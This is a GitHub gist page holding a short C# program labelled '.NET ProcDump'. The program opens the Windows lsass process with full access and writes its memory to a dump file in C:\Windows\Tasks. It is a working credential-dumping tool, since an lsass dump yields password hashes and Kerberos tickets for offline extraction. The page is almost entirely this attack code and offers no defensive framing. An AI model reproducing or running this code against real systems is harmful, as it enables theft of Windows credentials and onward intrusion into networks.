Skip to content

Instantly share code, notes, and snippets.

@xct

xct/dump.cs Secret

Created December 19, 2020 17:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save xct/f78238aefa6fca8512ee2a7d0bc42f20 to your computer and use it in GitHub Desktop.
Save xct/f78238aefa6fca8512ee2a7d0bc42f20 to your computer and use it in GitHub Desktop.
.NET ProcDump
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.IO;
namespace DumpProcess
{
class Program
{
[DllImport("Dbghelp.dll")]
static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
[DllImport("kernel32.dll")]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
static void Main(string[] args)
{
FileStream dumpFile = new FileStream("C:\\Windows\\Tasks\\lsass.dmp", FileMode.Create);
Process[] lsass = Process.GetProcessesByName("lsass");
int lsass_pid = lsass[0].Id;
IntPtr handle = OpenProcess(0x001F0FFF, false, lsass_pid);
bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), 2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment